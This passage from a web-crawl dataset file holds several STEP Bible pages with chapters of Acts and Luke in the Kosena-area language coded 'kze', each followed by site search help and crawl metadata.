ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.17","date":"2018-04-20T05:24:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937114.2\/warc\/CC-MAIN-20180420042340-20180420062340-00633.warc.gz","language":"kze","language_score":0.9999707937,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999707937240601}","num_words":641,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 24\nYútaa-kwaasi Póromba simánkaraan-kwasai.1 kárákwiyuwasa évaꞋaasei-noꞋwaamba kwaésa aivaꞋ-mónó-káwáánákó áwíꞋa Ánánáesiye anón-kwaasiye Póromba aaimó simánkénesa Sísáriyaa-naopaꞋa VíríkísinopaꞋa kúmúmba moóráwai ámáámba kaweꞋá umái isón-kwaasi áwíꞋa Tétárasi kwesé VíríkísinopaꞋa kumbésa 2 Póromba ááyowana túwana Tétárasi aaí simánkena anóndakomba simái arumbá airaréna séna kentáásí anóndakoo kawer-ímáyáágwárá-kwáásí po kaweꞋá umái kárákwiraanata ayáátáákaꞋa paru umáíya máyaumne. ená imáyáavinkemba kaweꞋá umái súwaꞋnaa ónata maémáyaundayaawe. 3 kesáá naaóꞋ-naoꞋa máyaunda-kwaasiya aasiyaasi-táwai entáváí aamoí kwéundayaawe. 4 íma ayáátáár-aimba sénaumpo embá ávón-kaíyáváinivo ákí-aimba sénaumpo usúkáꞋmai isaaó. 5 maankwáásígó aosaambá kwimái amápaꞋ-maravaꞋa kwénaaena Yútaa-kwaasi simái tirumbá airáráísasa Násáretivakewaina aampaꞋá kwégwaresa kwéowana mirámó on-kwáásítí aivaꞋnáꞋá ména mirá kwéiye. 6 mirá kwéena óꞋonkaa-kwaasi áíꞋmaena anóm-bonoꞋ-naumpaꞋa móankaraisana ména sáwíꞋa uráintavaiya maankwáásíyá tátoketa [ kentáásí monor-ánón-kwáásítópaꞋa aaí simánkanae kwéunanya 7 i-kwáásítí anóndako áwíꞋa Árísiya kuména kusínkambaiya siyáámpinkemba Póromba kunáíꞋmaena uména 8 simásimenaya séna enópaꞋa móru sénááowe sisatá kwégumundayaawe.] maankwáásígómbó áísaa inanamó éna aaivimbó mayánkaraunda-aimba kwe sína amápar-aimba isaaó Tétárasi súwasa 9 Yútaa-kwaasi kwembá áwaꞋnaa esa mináímbó simbá árair-aimba siyé siráawe.\nPóro Víríkísimbo mósimamakain-kwasai.10 suwaná kámááni-anondakoma aúwanaan-awaameꞋa éna Pórontavena e siyó súwana Póro séna emó kárákwiyonda ayáátáákaꞋa imá maisuꞋmaé iráanda póꞋa enaúrankaꞋa anondá ke aaí sénaundayavai sirunkó aamoí kwéiye. 11 Áánútuna imáyáa éꞋa kwenáwíꞋa mósá máráandayaveꞋa YérúsaremuvaꞋa uméꞋa siyáánkai umái kaeꞋ-nóꞋwáámbá ánásaraivo évakarawai tísaa inasá áraiꞋa siyé sénááowe. 12 anóm-bonoꞋ-naumpare sáwíyam-bonoꞋ-naumpimpare mááꞋaruvare íma aaisankáámbá séꞋa íma kwaási simái ááiꞋo tiyáí-áímbá siráunda Yútaa-kwaasi suwánaraawe. 13 kembó simásínkáamba kampaꞋá sevó mináínkóná ááimba íma kwáyáiye. 14 avoráꞋá ke simámenaumne. Ísuna aampaꞋá kwégweꞋa kentáá síkwáꞋnái Ísóigona imáyáa éꞋa áwíꞋa mósá kwémaraunasa Ísuna aantaváí maankwáásíyómbá sésa kampar-ámbán-iye kwésewe. Mósesina ámáámba iséꞋa Áánútun-aai simátímakowai agaimakón-aimba iséꞋa áraire kwésune. 15 miwí sésa Áánútu amáparawai sáwí-kwaasiye kawe-kwáásíyé pukémpinkemba usásintinkaniyemo kwésesa amuꞋmáráantemba kemá mirá kwéune. 16 mindáyavai kesí imáyáavimba sáwíꞋan-ivo séꞋa Áánútu aúrankare kwaási túrankare kaweꞋá umái máyaumne.\n17 ánivo óꞋon-oꞋom-baravaꞋa kwénaaeꞋa évakar-ima maisuwéꞋa YérúsaremuvaꞋa kesí kwaási íma toómbá makáan-kwaasi óntamba kwétimeꞋo Áánútuntavai ísámai póíꞋo ondayávéꞋa iráumne. 18 mimbáyáí kwémaeꞋo Yútaa-kwaasiti ámáámba ísámai kaweꞋó ií-yántááꞋá umásuweꞋa Áánútuntavai ísámai póíꞋo ondayávéꞋa anóm-bonoꞋ-naumpaꞋa umáyaawanasa kesópaꞋa sáwíva-kwaasi íma tamésa túwaai kwésesa máyówasa Yútaa-kwaasi suwánowasa 19 évakarawai Yútaa-kwaasi Ésiyaa-maravaken-kwaasi mésa suwánaraawe. sáwíꞋo uráanasamo suwáresa enaúrankaꞋa simásínkáaro. 20 monor-ánón-kwáásítópaꞋa máyaawandaraꞋo sáwíꞋo uráanasamo suwánaresaraankasi moórá-aine suꞋmai siráasino. moórá-aine suꞋmaimo senkákáí isáásino. 21 monor-ánón-kwáásítópaꞋa máyaawandaraꞋa anónkaꞋa séꞋa Áánútu pukén-kwaasimo usásintinkaniyemo siráunda-aintavai ívéꞋa aaivimbá kwémaisinkaawe séwánasa kemó siráunda-aintavai kwésimasinkaawe Póro siráiye.\n22 súwana Víríkísi Ísuna aampaꞋá kwégun-aimba áꞋa ísarena séna i-kwáásítí anóndako áwíꞋa Árísiya kwemá kumínaꞋa maanáímbá ísámai kawer-ónaumpo koró simásuwena 23 Póromba kárákwirowaintavena séna ándávaꞋa kaweꞋá umái kárákwiye íma aíyayaankaꞋa asááúmárénasa ímo kwemó makáinda-yantaaꞋa kwená kwaási áwaꞋnaa ónáe síyamo e úwoi owé sinasá áwaꞋnaa oro Víríkísi siráiye.\nPóro Víríkísinte Túrúsíraante simátímakain-kwasai.24 Víríkísi simásuwena ména évaka-tawai maisuwéna awainínkómbá Yútaa-inimba áwíꞋa Túrúsíraamba áíꞋmaena taména Póromba ááyowana téna séna Ísu Káráísitin-aaiyavai árairemo sésa aráápamai máyáan-ainkona ááimba simátimuwasarai ísóyana 25 Póro kawer-áínkóná ááimba kwésena ke túraꞋa kárákwiyi-aimba kwésena Áánútu kwaásimo máyáawaina ááimba tísaa ínín-aimba súwana Víríkísi ááꞋa kówana séna ánivo kwaaó. naaémbo ímo mayáímó kwáíndaraꞋa ááyanaumne séna 26 imáyáa éna Póro ándávaꞋa meéyán-onaná ayúsinkainkwae séna óntamba simínaꞋa ayúrankanaumne-imayaa éna mindáyavena aasiyaasi-táwai Póromba ááyowana túwasarai kwaasái símae irááiye.\n27 kwaasái símae íyúyana kaer-ímá maisuwéna moóráwai áwíꞋa Pósíyasi Vésétasi kwemá Víríkísina anondá kámááni-mayai usámayanimba ákíse úwana Víríkísi Yútaa-kwaasi tirumbá kaweꞋá ínkwáe séna Póromba íma ayúránkaraivo úwoi ándávaꞋa ánkaraiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.24","date":"2018-04-25T22:19:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947968.96\/warc\/CC-MAIN-20180425213156-20180425233156-00291.warc.gz","language":"kze","language_score":0.9999936819,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999936819076538}","num_words":657,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 28\nMórata-maravata kóyoraunda-kwasaiya.1 aápata kaweꞋá umáíya komáyaawanasaya mindónávúmpáꞋ-márágó áwíꞋa Mórata-marawe suwatá ísaraumne. 2 aaꞋá téna táúgwiꞋa kwéuwasa mimbárávákén-kwáásí kaweꞋá umásinkesaya iramá agaisínkówata siyáánta kwégauvowananaya 3 Póro irááríꞋa komaimaéna mimpímbá máagaimarowana kokoꞋá úwana kwaaivainkó téna Póro ayáánkaꞋa tauntorówasa 4 kwaási awánésa keáímbá sésa moórá-kwaasi tuvúwísana púwísana nompí-sípívímbá timbá nonkómá íma tuvúkáimba póna ívéꞋa kwená anondáma maéna iraankavayaankó váínana puwíníye keáímbá kwésuwana 5 Póro ayáámba tuvimpín-úwana miníráánkáváyáámbá taráꞋmaena iravímbá tuvamúwana íma Póromba áíꞋa úwasa 6 minkwáásí Pórontavai imáyáa ésa intoráínana puwíníyo. marapáꞋá tuvaména puwíníyo-imayaa ésa ayáátáákaꞋa aúrampimba avúꞋmaresa mésa amuꞋmatuwé máyówana íma aveꞋá puwúwasa imáyáa móruna ésa sésa minkwáásí ísóigoman-iye siráawe.\n7 suwaná mimbárávákén-ánón-kwáásígó áwíꞋa Pápáriyasi kwená maramá egwaaꞋá kwáyowai kaweꞋá umásinkenaya másinkowata kwená naaúmpata kaumbo-nóꞋwáámbá kogwaéwánanaya 8 Pápáriyasi avowámbá kokotámba ankéna ayánómbá naaegwáráꞋá kwéuwana máyowana Póro kwenópaꞋa kwéna awánéna ÁánútumpaꞋa námúnaa kwésena ayáándei aneꞋá tátorowana mináíꞋá ánásowasa 9 awánésa tíꞋo ún-kwaasi tíꞋmaesa PóronopaꞋa tuwaná miráumai asóvamatinkava kúwasa 10 aamoi-yántááꞋá símúwata máyaawanasaya nompí-sípívímbá kónáe séwánda-tawaiya ímo makáawanda-yantaaꞋa símúwata kuráumne.\nÁrómáa-naopaꞋa kuráunda-kwasaiya.11 moórá-nompi-sipigo Arekesándiyaavakemba áwíꞋa keáváráwáí-ísóí-sípígó éna úndámo toráí-kánáá mimbárágóná nonkwaaúmpímbá kwáyowata kaumbo-kwíyómbá maisuwéta mindómpí-sípívímbá usáateta kweémeta 12 Sísari-maravaꞋa Sáírákusu-naopaꞋa kwéta marapátá ásáveta kaumbo-nóꞋwáámbá kwaéta 13 nompí-sípívímbá usáateta kwéta Árísiyamu-naopaꞋa kógwaeta usá aaváyaavimba sínaaempakenta úndá toréna siméntámenaya kwéguwata kaeꞋ-nóꞋwáámbá kógwaeta Ítári-maravaꞋa Pútíyori-naopaꞋa marapáꞋá ásávaawanasaya 14 Ísun-aai ísówai máyówata kotuwánaawanasaya simásimesaya sésa moórá-sontaa keséya ménaaowe suwatá miráumaiya moórá-sontaa miwísé maéta Árómáa-naopata marapátá kówándaya 15 Árómáa-naopakemba Ísun-aai ísówai kówánda-ainta isésa aampaké kotiránáe sésa Ápíyasi-naopaꞋa máákéti-marukaꞋa amápa-kwaasi kwááyumo kwaí-námbá kaumbo kwáyopaꞋa tuwaná Póro tuwánéna ÁánútumpaꞋa aamoí úwana arunkó kaweꞋá uráiye.\nPóro Árómáa-naopaꞋa mérain-kwasai.16 Póro arunkó kaweꞋá kwéuwata Árómáa-naopaꞋa kówánanaya mindáópaken-kamaani-kwaasi Pórontavai séna íma ándá-naumpaꞋa maé úwoi-naumpaꞋa ménana i-kwáásígó enkáꞋá kárákwiyiniye súwana 17 kaumbo-nóꞋwáámbá maisuwéna Póro mindáópakemba Yútaa-kwaasiti anóndarawaꞋa tááyowasa kwená naaúmpaꞋa tuwaná simátimena séna kesí kwaásiyono. Yútaa-kwaasi simái íma sáwíꞋa uráumpo kentáá síkwáꞋnái ámáámba íma káráraundanivo Yérúsaremu-naopaꞋa kembá tátoꞋmai Árómáani-kamaani-i-kwaasiraꞋa tíméwasa ándávaꞋa sínkaraawe. 18 sínkaresa sínkamiyanesa kesáái avakáá-omba íma isasá ayúrankanae sewasá 19 Yútaa-kwaasi mináímbá kárówaꞋa kesí ááimba íma sáwíꞋa uróntavai séꞋa Árómáani-kamaani-aiva-kawaanakonopaꞋa konaná kesáái isáníye. kesí Yútaa-kwaasi aaí simátinkanae íma súnda kesáái isáínkwáe séꞋa Árómáani-kamaani-aiva-kawaanakonopaꞋa tiráumne. 20 Yútaa-kwaasiya Áánútumo usásinkaiwaimbo amuꞋmakáundawain-aai séwánasa tátokesa siyáánkaꞋa asááuraamba póꞋa tááyamai tuwánéꞋa simátimenae Póro súwasa 21 isésa miwí sésa Yútiyaavakemba Yútaa-kwaasi íma entáváí aúvái agaimái túwáawana tiráiye. íma évakarawai aaí másimasimesaya entáváí sáwí-aimba íma kwésimankaawe siráawe. 22 amápaꞋ-mapaꞋa Ísuna aampaꞋá kwégontavai sáwíꞋa kwéumatinkaamba kwéisaumpo mináímbá simásímínata ísáano siráawe.\n23 simásuwesa moórá-tawai Póro simátiminin-kanaa marésa komésa minkánáá túwasa sáwíva-kwaasi Póro máyopaꞋa tuwaná aaváyaavinkemba ááimba ásárena Áánútu kwená kwaási kwégawaain-aimba simátímaꞋmaena noꞋwáámba móanasaraiye. naaóváꞋá Mósesi agaimakáin-aimpinkene Áánútun-aai simátímakowai agaimakáan-aimpinkene Ísun-aai simátímaꞋmaena iyéna Ísun-aaiyavai áraire sígwáe séna simátimuwasa 24 isésa évakarawai sésa árair-aine suwasá évakarawai sésa kampar-áíné suwasá 25 miráumai aaisankáá simái taaínkaar-uwaná Póro séna naaóváꞋá Áánútun-amanko moóráwaimba Áánútun-aai simátímakowaimba áwíꞋa Áísáyaamba simámuwana kentíkwáꞋnáyomba simátímakomba mináímbá árair-aimban-iye. 26 Áísáya agaimaréna séna\nÁánútu séna minkwáásíyáváí kosimátime se kwéisaambanivo íma ísámai kaweꞋá kwéowe. kwéawanaambanivo íma awánamai kaweꞋá kwéowe. 27 miwítí imáyáao umbaí kwétaisana tááko aaimó isáíyávéna ávón-kaisaná túranko awánaiyavena ávón-kwégaivo ímo mirámó ésamo ésa tááꞋo isésamo túrambo awánésamo kesááimo isésamo miwítí sáwí-imayaaomo tuwésamo kesópaꞋo tenkákáí sáwí-imayaa maitiyuwéꞋa kaweꞋá umátinkausino Áánútu siráiye\nÁísáya agaimaréna siráiye. Póro simásuwena 28 séna kemá mirá kwéowaꞋa póꞋa simátimeꞋa séꞋa Áánútu sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá kwémetinkain-aimba óꞋonkaa-kwaasi kosimátímakaundaya Áánútun-aai kwéisaawe 29 Póro mináímbá simásuwowasa [ Yútaa-kwaasi kwesimá kwesiman-esa aaisa-símaesa kóuraawe.]\n30 kóuwana Póro mindáópaꞋa ména kaer-ímá maisuwéna kwená óntamba naankaꞋá kwétuwena máyomba sáwíva-kwaasi kwenópaꞋa tuwaná aamoí éna 31 Áánútu kwená kwaási kwégawaain-aimba Ísóigo Ísu Káráísitin-aai simátímaꞋmaena iráiye. kámááni-kwaasi mináíntáváí íma aambá aúnúwana asiramái simátímaꞋmaena iráiye.\nkemá Árúku súnda-aimba ánásaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.28","date":"2018-04-23T21:29:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946199.72\/warc\/CC-MAIN-20180423203935-20180423223935-00295.warc.gz","language":"kze","language_score":0.9999740124,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999740123748779}","num_words":703,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 13\nsáwí-imayaamo ímo tuwáíyawaimo puwónááon-kwasai.1 Ísu kwésimatimuwasa évakarawai tasimámesa sésa Káríri-maravaken-kwaasi évakarawai Áánútuntavesa ísámai póímo tuvúꞋmái agáyáamba kámááni-kwaasiti anóndako áwíꞋa Páíráti évakarawai tiꞋmáráísasa tínkamisasa pukáawe suwaná 2 Ísu séna miKárírívákémbá pukáan-kwaasiyaveꞋa sembá miwítí sáwí-imayaao Kárírivakemba amáparawaiti sáwí-imayaagomba usáyaaitaraintavesa pukáawewa kwéseo. 3 íma mirá kwéovo simátimeꞋa séꞋa kentí sáwí-imayaamo ímo tuwéꞋo ÁánútumpaꞋo téꞋo éꞋa keinárawakwaraꞋa puwónááowe. 4 imáyáa oró. SíróamuvaꞋa ayáátááꞋ-namba tawiséna sáwíva-kwaasi 18 kwaasi tínkamisasa pukáawe. mindáyaveꞋa sembá miwítí sáwí-imayaao Yérúsaremuvakemba amáparawaiti sáwí-imayaagomba usáyaaitaraintavena pukáawewa kwéseo. 5 íma mirá kwéovo simátimeꞋa séꞋa kentí sáwí-imayaamo ímo tuwéꞋo ÁánutumpaꞋo téꞋo éꞋa keinárawakwaraꞋa puwónááowe Ísu siráiye.\ntaaigó íma arambá iráin-kwasai.6 Ísu kwántámai-aimba simátimena séna moóráwai kwená ándá-aran-kigauvaꞋa áséi-aramba íyain-taima uꞋmakáisana áruma kwíkáísana arambá komayánáe séna koawánaimba íma iráisana 7 minkígáúráꞋá kárákwirain-kwaasiyavena séna kaumboráꞋá áúꞋa simbá mintáéramba komayánáeꞋa koawánáúnda íma arambá iráisaꞋa úmpo mintáímá tumásuwaao. maragóná anombá nasúwáívainivo tumásuwaao sisaná 8 mindákó séna anóndako ímampoꞋa mintáíyááimpaꞋa oóꞋá túmakeꞋa agámoꞋa makéꞋa 9 moórá-auꞋo sínda awánaanana arambó iyéna kaweꞋá ínívo mirámó ímo ínaꞋa tumásuwanaumne siráiye Ísu siráiye.\nÍsu saavatiráꞋá moórá-inimba asóvamankarain-kwasai.10 moórá-tawai Yútaa-kwaasi monor-áímbá kwéison-kanaaraꞋa Ísu monoꞋ-náúmpáꞋá uména aaí kwésimatimuwana 11 moórá-ininko taraváá-kwámbá arumpimbá máyon-ininko ména ayáátáákaꞋa sáwíꞋa umái ména 18 ima maisuwéna miráumai sáwíꞋa umái máyowana arósáánumba káínáívai kurówana íma kanaán-umai kokuꞋá máyowana 12 Ísu minínínkómbá awánéna séna enáíꞋa ánásaino séna 13 aneꞋá tátorowana avekáámbá arósáánumba arupí úwana kokuꞋá usásinena Áánútu áwíꞋa mósá marówana 14 Ísu agándon-kanaaraꞋa minínínkómbá asóvamankontavena monoꞋ-nánkáꞋá kárákwirowai arunkó sáwíꞋa úwana sáwíva-kwaasiyavena séna avaꞋmoraé-kanaa mayáí kwémayenkaꞋa síꞋa asóvamasinkainkwae séꞋo éꞋa téꞋa agándaan-kanaamo éꞋa íma teró súwana 15 Ísóigo séna kaumbo-káér-ainkwara-kwaasiman-owe. agándaan-kanaaraꞋa kentí purumakankwáráꞋá tónki-poigwaraꞋa naaúmpakemba ayúrankeꞋa áíꞋmaeꞋa nompáꞋá kowaná nombá kwénaiye. 16 minínínkó Ááváramu aísaavutantamba uráin-inimba isaná Sáátáánigo ayáátáákaꞋa 18 ima tátokaisaꞋa agándaan-kanaaraꞋa ayúrankaunaꞋa sáwíꞋa kwéone kwésewe Ísu súwasa 17 simáímo sáwíꞋo umánkówai mináímbá isésa tigaemá uwaná kaweꞋ-máyáí kwémayontavena úwoi-kwaasi tirunkó kaweꞋá uráiye.\ntaaérankona kwaasái.18 Ísu séna Áánútu kwená kwaási kawááimba nóinkara kwégawaaiyompo maarán-áímbá simátínénaꞋa isánááowe. 19 Áánútu kwená kwaási kwégawaaimba maarámán-iye. moóráwai sáwíyan-taeranko áwíꞋa másátati mintáérámbá kígauvaꞋa uꞋmakáisana anón-éna amaimá móivarena kóyáwé uráisana numaómá mimpímpáꞋá ánáamba úmarena kwémaiye. Áánútumo kwená kwaási kwégawaaimba miráráámbá éna kwenááigo sáwíyamba kwaási tirumpimbá kunkwéna anómba kwéiye Ísu siráiye.\n20 simásuwena séna Áánútu kwená kwaási kwégawaaimba nóinkara kwégawaaiyompo maarán-áímbá simátíménaꞋa isánááowe. 21 moórá-ininko péréti-tomba agayánáe séna kanaráán-tántáákó áwíꞋa páráwaaꞋa maimaéna intoráí-yántááꞋá sáwíyan-tantaaꞋa ayáúmaraisana kwéna intoréna kwéanon-iye. Áánútu kwená kwaásimo kawááimba miráráán-umai kwenááigo kwaási tirumpimbá sáwíyamba kunkwéna anómba kunkwéiye Ísu siráiye.\nsáwíyan-ontaona kwaasái.22 Ísu mináímbá simásuwena Yérúsaremu-naor-ampaꞋa kúmba naaóꞋ-naoꞋa kwenáái simátímaꞋmaena kúwana 23 moóráwai séna anóndakoo Áánútu moórá-mora-kwaasiye suꞋmaiya kawer-ámpáꞋá métinkaniyo súwana Ísu séna 24 tiyáántámba égési úmaeꞋa sáwíyan-ontavimba usáveranaaowe. simátimeꞋa séꞋa sáwívarawai usáveranae sésa íyambanivo íma kanaán-umai usáveranaaowe. 25 naankó avowámá usásinena ontá úmarainaꞋa ontaráꞋá uméꞋa ááyeꞋa séꞋa anóndakoo ontayá tisinkaaó síyana íma tuwánáúnda-kwaasi náávakenaꞋoo sínaꞋa 26 kentáásí naaópaꞋa te enáái tasimásimenata eséya toómbá nombá naráundayaawe síyana 27 kwemá séna íma tuwánáúnda-kwaasi kentí naambárure kentóikare íma tuwánáúnda-kwaasin-ovo kóro naankó avowámá síníye Ísu simásuwena séna 28 Áánútu kwená kwaási kawááipaꞋa tiꞋmaráínaꞋa máápakemba awánáíyamba kentíkwáꞋná Ááváramuwe Áísákaawe Yákópowe Áánútun-aai simátímakowaiye Áánútu kwégawaaipaꞋa méwaꞋa tuwánéꞋa tíyántaveꞋa éꞋa iviꞋá tánááowe. 29 aaváúmá usaipakén-kwáásíyé aaváúmá kumpéráipaken-kwaasiye évarevar-awampaken-kwaasiye Áánútu kawááipaꞋa tésa tamésa nánááowe. 30 minkánááráꞋá naaén-kwaasivinkemba évakarawai aivaríꞋa ónááovo aiva-kwáásí naaéniꞋa ónááowe Ísu Áánútumo kawááintavena mináímbá siráiye.\nÍsu arumbá umátínkarain-kwasai.31 mitáwai ámáán-kawaa-kwaasi évakarawai ÍsunopaꞋa tésa sésa anón-kwaasi áwíꞋa Éróti séna Ísumba tuvúwónana puwíníye kwésivo maankáꞋá tuwé óꞋom-bapaꞋa kówaao suwaná 32 Ísu séna Érótimba iyánaankaraama túwáín-kwaasi kosimámeꞋa séꞋa taraváá-kwámbá kwaási tirumpinkémbá kwémaitiyuweꞋa tíꞋa on-kwáásí kwéasovamatinkaunda-mayai ívéꞋa maéꞋa aaváyaa maéꞋa ayúnká kesí mayáí ánásanaumne. 33 Áánútun-aai simátímakaawai Yérúsaremu-naopare suꞋmai kwétinkamowasa kwévuwontaveꞋa ívéꞋa aaváyaa ayúnká aampaꞋá kwégweꞋa mayáí maivá kónaumne siyé Érótimba kosimáméro Ísu simásuwena 34 Yérúsaremu-naopaken-kwaasi arumbá umátinkena séna Yérúsaremu-naopaken-kwaasiyono. Áánútun-aai simátímakowai tínkambaeꞋa kwéiyuwasa pukáawe. Áánútu tiꞋmarówasa kurówai óntantamba tínkambaeꞋa kwéiyuwasa pukáawe. kokórigomo áráátombo ayóí-ándámpáꞋó tínkarenamo káátamatinkaintemba aasiyaasi-táwai kemá mirá ónaumne kwésundanivo tínaaemba kwéumasimewe. 35 ísáaro. Áánútu tiyuwáínaꞋa tuꞋnankáámbá ónááowe. simátimeꞋa séꞋa íma úwoi suwánanaaovo naaémbo séꞋo Áánútu aiꞋmáráísana kunkáiwaimba Áánútu kaweꞋá kwéumankaiye síyankaꞋa moórágwaraꞋa suwánanaaowe Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.13","date":"2018-04-19T21:37:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937045.30\/warc\/CC-MAIN-20180419204415-20180419224415-00019.warc.gz","language":"kze","language_score":0.9999979734,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999979734420776}","num_words":764,"character_repetition_ratio":0.048,"word_repetition_ratio":0.005,"special_characters_ratio":0.152,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 17\nsáwíꞋa kwéon-kwasai.1 Ísu kwená kwayó-kwáásíyávéna séna óꞋon-oꞋon-tantaaꞋa kwaásitopaꞋa tínasa kesáái tuwánááowe. évakarawai tésa kesáái kwéisaawaima kampar-áímbá tasimátimiyasa kesáái tuwésa kówíyasa kampaꞋó síyawainopaꞋa sáwí-meyamba tíníye. 2 miwímó tinumarampimbó anón-ontambo aríkwímaresamo nompímbó túwááwasamo kumésamo kumpuwésarakai kampar-áímbá íma simátíméwasa kesááimo ísaraan-iyampoi kesáái íma tuwésa sáwíꞋa osinó. 3 mindáyaveꞋa kentúraꞋa kárákwiyoro.\nkentí kwaásimo kembó sáwíꞋo umátinkaiyaꞋo éꞋa keinárawapaꞋa mindáyaveꞋa simátimiyasa sáwíꞋa únemo síyaꞋo éꞋa íma moórágwaraꞋa imáyáa éꞋa iváꞋá túwáaro. 4 kentí kwaásigomo kembó sáwíꞋo umántínkávaꞋo kwéiyesamo kentópaꞋo tésamo sáwíꞋa únemo símae kwéiyiyaꞋo éꞋa íma moórágwaraꞋa imáyáa éꞋa iváꞋá túwáaro. mimbórá-táwaimo avakaetéraꞋo mirámó íyaꞋo éꞋa íma imáyáa éꞋa iváꞋá túwáaro Ísu siráiye.\nÍsuwe aráápamai máyáan-kwasai.5 suwasá Ísóigona aantá-kwaasi kwentávésa sésa esé aráápamaiya máyaundaya súwaꞋnaa inatá esé aráápamaiya máyaundaya asiramáíya máéno suwaná 6 Ísóigo séna moórá-taigo áwíꞋa másátati sáwíyan-aramba toꞋmakáawana áruma kwikéna anón-tainamba kwéiyintemba kesé kítokaꞋa aráápamai máyáamba póꞋa naaémba anónkaꞋa kesé aráápamai méꞋa anón-taiyaveꞋo séꞋo taawíꞋmae anón-dompimba kunkaruwuwómó síyanamo éna mirá íníye. Ísu mináímbá siráimba kwesé aráápamai máyáamba kwená mayáí mayánááontavena siraíye.\nmayáí-kwáásítí mayáígóná kwaasái.7 Ísu kwená kwayó-kwáásíyávéna séna mayáí-kwáásígómbá aiꞋmárááwana mayáímá kwémaena kígauvakenaꞋi. póíraꞋa kárákwiraindavakenaꞋi. timbá ená toómbá emá agaimái naaó íma sésa 8 kavegavé umái kawer-únánkwátói uré toómbá agai-símíꞋa nasúwáana naaémba ená toómbá agaimái náníyone mirán-áímbá kwésewe. 9 sintembá mayáí-kwáásí mirá kwéesa úwoi miwítí mayáí isasá mirá kwéomba pósa íma túwíꞋa mósá kwémaraawe. 10 miráumai keinárawaꞋa mirá kwéeꞋa simátíméndantemba umái 